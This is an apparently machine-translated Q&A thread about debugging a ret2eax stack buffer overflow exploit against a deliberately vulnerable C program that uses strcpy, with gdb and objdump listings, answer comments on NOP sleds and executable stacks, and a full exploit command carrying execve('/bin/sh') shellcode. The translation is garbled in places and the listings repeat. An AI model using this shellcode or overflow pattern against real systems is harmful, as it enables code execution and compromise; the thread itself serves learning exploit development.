C ret2eax的问题

C ret2eax的问题,c,assembly,buffer-overflow,shellcode,C,Assembly,Buffer Overflow,Shellcode,我在试图覆盖保存的回信地址时遇到了一些问题。这是我的密码: 1 #include <stdio.h> 2 #include <string.h> 3 4 void foo(char *source) 5 { 6 char buf[64]; 8 printf("buf address: %p\n", buf); 9 strcpy(buf, source); 11 } 12 int main(int argc, c

我在试图覆盖保存的回信地址时遇到了一些问题。这是我的密码:

  1 #include <stdio.h>
  2 #include <string.h>
  3 
  4 void foo(char *source)
  5 {
  6     char buf[64];
  8     printf("buf address: %p\n", buf);
  9     strcpy(buf, source);
 11 }
 12 int main(int argc, char **argv)
 13 {
 14     if(argc > 1)
 15         foo(argv[1]);
 16     else
 17         exit(0);
 18 
 19   return 0;
 20 }
->产壳

现在无需重新排序到printf即可获得外壳代码的地址。我想试试ret2eax

所以我用objdump找到了它的地址:

00000000004004bc <call_gmon_start>:
  4004bc:   48 83 ec 08             sub    $0x8,%rsp
  4004c0:   48 8b 05 11 05 20 00    mov    0x200511(%rip),%rax        # 6009d8 <_DYNAMIC+0x1e0>
  4004c7:   48 85 c0                test   %rax,%rax
  4004ca:   74 02                   je     4004ce <call_gmon_start+0x12>
  4004cc:   ff d0                   callq  *%rax
  4004ce:   48 83 c4 08             add    $0x8,%rsp
->我刚刚得到一个分割错误,为什么

使用gdb和foo()中retq处的断点:

如果需要,可对foo()进行反汇编:

   0x000000000040059c <+0>: push   %rbp
   0x000000000040059d <+1>: mov    %rsp,%rbp
   0x00000000004005a0 <+4>: sub    $0x50,%rsp
   0x00000000004005a4 <+8>: mov    %rdi,-0x48(%rbp)
   0x00000000004005a8 <+12>:    lea    -0x40(%rbp),%rax
   0x00000000004005ac <+16>:    mov    %rax,%rsi
   0x00000000004005af <+19>:    mov    $0x4006bc,%edi
   0x00000000004005b4 <+24>:    mov    $0x0,%eax
   0x00000000004005b9 <+29>:    callq  0x400460 <printf@plt>
   0x00000000004005be <+34>:    mov    -0x48(%rbp),%rdx
   0x00000000004005c2 <+38>:    lea    -0x40(%rbp),%rax
   0x00000000004005c6 <+42>:    mov    %rdx,%rsi
   0x00000000004005c9 <+45>:    mov    %rax,%rdi
   0x00000000004005cc <+48>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d1 <+53>:    leaveq 
=> 0x00000000004005d2 <+54>:    retq  
0x000000000040059c:推送%rbp
0x000000000040059d:mov%rsp,%rbp
0x00000000004005a0:低于$0x50,%rsp
0x00000000004005a4:mov%rdi,-0x48(%rbp)
0x00000000004005a8:lea-0x40(%rbp),%rax
0x00000000004005ac:mov%rax,%rsi
0x00000000004005af:mov$0x4006bc,%edi
0x00000000004005b4:mov$0x0,%eax
0x00000000004005b9:callq 0x400460
0x00000000004005be:mov-0x48(%rbp),%rdx
0x00000000004005c2:lea-0x40(%rbp),%rax
0x00000000004005c6:mov%rdx,%rsi
0x00000000004005c9:mov%rax,%rdi
0x00000000004005cc:callq 0x400450
0x00000000004005d1:LEVEQ
=>0x00000000004005d2:retq

您尚未粘贴函数的汇编代码
foo
,但我假设编译器在堆栈上使用了一个局部变量来存储
ptr
的值,而该变量恰好位于您覆盖的内存区域中数组的上方。归根结底,
rax
不会在缓冲区中包含指向代码的指针。 作为参考,我的非优化构建如下所示:

   0x00000000004005c6 <+42>:    mov    -0x58(%rbp),%rdx
   0x00000000004005ca <+46>:    lea    -0x50(%rbp),%rax
   0x00000000004005ce <+50>:    mov    %rdx,%rsi
   0x00000000004005d1 <+53>:    mov    %rax,%rdi
   0x00000000004005d4 <+56>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d9 <+61>:    mov    -0x8(%rbp),%rax
   0x00000000004005dd <+65>:    leaveq
   0x00000000004005de <+66>:    retq
0x00000000004005c6:mov-0x58(%rbp),%rdx
0x00000000004005ca:lea-0x50(%rbp),%rax
0x00000000004005ce:mov%rdx,%rsi
0x00000000004005d1:mov%rax,%rdi
0x00000000004005d4:callq 0x400450
0x00000000004005d9:mov-0x8(%rbp),%rax
0x00000000004005dd:LEVEQ
0x00000000004005de:retq
如您所见,
buf
位于阵列和返回地址之间的
rbp-0x50
ptr
位于
rbp-8
。由于
strcpy
返回目标参数,因此可以将C代码改为do
returnstrcpy(buf,source)
。此外,启用优化可以消除局部变量,从而解决问题,但这不是很可靠


鉴于您已经在
gdb
,您应该在发生故障时检查
rax
中的值,因为这几乎是导致崩溃的唯一原因。

您的
argv[1]
字符串超过90字节。您认为这太多了吗?不,在反汇编中buf处于-0x50(%rbp)。所以我需要写88个字符才能找到返回地址的位置。证明是:在我的第一个示例中,我可以生成外壳代码。然后你可以看到我在0x40058d得到一个segfault,它应该是语句callq*raxHi的地址,是的,你是对的。我已经更新了我的帖子。如果你看一下我上面的代码,这次我可以得到frame_伪语句:call*$rax,但是我得到这个0x00007fffffe2f0 in??(). 这是我的缓冲区的地址。我通过在strcpy之前中断并查看$rax和$rdi来检查它。现在我不明白它为什么不执行外壳代码了?在这一点上,通过执行
x/I$rip
确保您的代码确实在那里,并且它本身没有故障。另外,别忘了标记stack executable(但是第一个方法也需要这样做,所以我假设您已经做到了)。这完全是荒谬的,我实际上掉进了NOP SLED:(gdb)x/I$rip=>0x7fffffe2f0:NOP,但它不执行外壳代码。(我的堆栈是可执行的:-z execstack)您是否有任何错误?还是有什么问题?您发布的
stepi
当然只执行1条指令,而
??
只是意味着gdb不知道您使用的是哪个函数。哦,对不起,完全忘记了!程序接收信号SIGSEGV,分段故障。0x00007FFFFFE332英寸??()(gdb)x/i$rip=>0x7FFFFFE332:sbb(%rax),%al
./vuln `python -c 'print "\x90"*24+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"+"\x8d\x05\x40"'`
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe332 in ?? ()
(gdb) x/i $rip
=> 0x7fffffffe332:  sbb    (%rax),%al
   0x000000000040059c <+0>: push   %rbp
   0x000000000040059d <+1>: mov    %rsp,%rbp
   0x00000000004005a0 <+4>: sub    $0x50,%rsp
   0x00000000004005a4 <+8>: mov    %rdi,-0x48(%rbp)
   0x00000000004005a8 <+12>:    lea    -0x40(%rbp),%rax
   0x00000000004005ac <+16>:    mov    %rax,%rsi
   0x00000000004005af <+19>:    mov    $0x4006bc,%edi
   0x00000000004005b4 <+24>:    mov    $0x0,%eax
   0x00000000004005b9 <+29>:    callq  0x400460 <printf@plt>
   0x00000000004005be <+34>:    mov    -0x48(%rbp),%rdx
   0x00000000004005c2 <+38>:    lea    -0x40(%rbp),%rax
   0x00000000004005c6 <+42>:    mov    %rdx,%rsi
   0x00000000004005c9 <+45>:    mov    %rax,%rdi
   0x00000000004005cc <+48>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d1 <+53>:    leaveq 
=> 0x00000000004005d2 <+54>:    retq  
   0x00000000004005c6 <+42>:    mov    -0x58(%rbp),%rdx
   0x00000000004005ca <+46>:    lea    -0x50(%rbp),%rax
   0x00000000004005ce <+50>:    mov    %rdx,%rsi
   0x00000000004005d1 <+53>:    mov    %rax,%rdi
   0x00000000004005d4 <+56>:    callq  0x400450 <strcpy@plt>
   0x00000000004005d9 <+61>:    mov    -0x8(%rbp),%rax
   0x00000000004005dd <+65>:    leaveq
   0x00000000004005de <+66>:    retq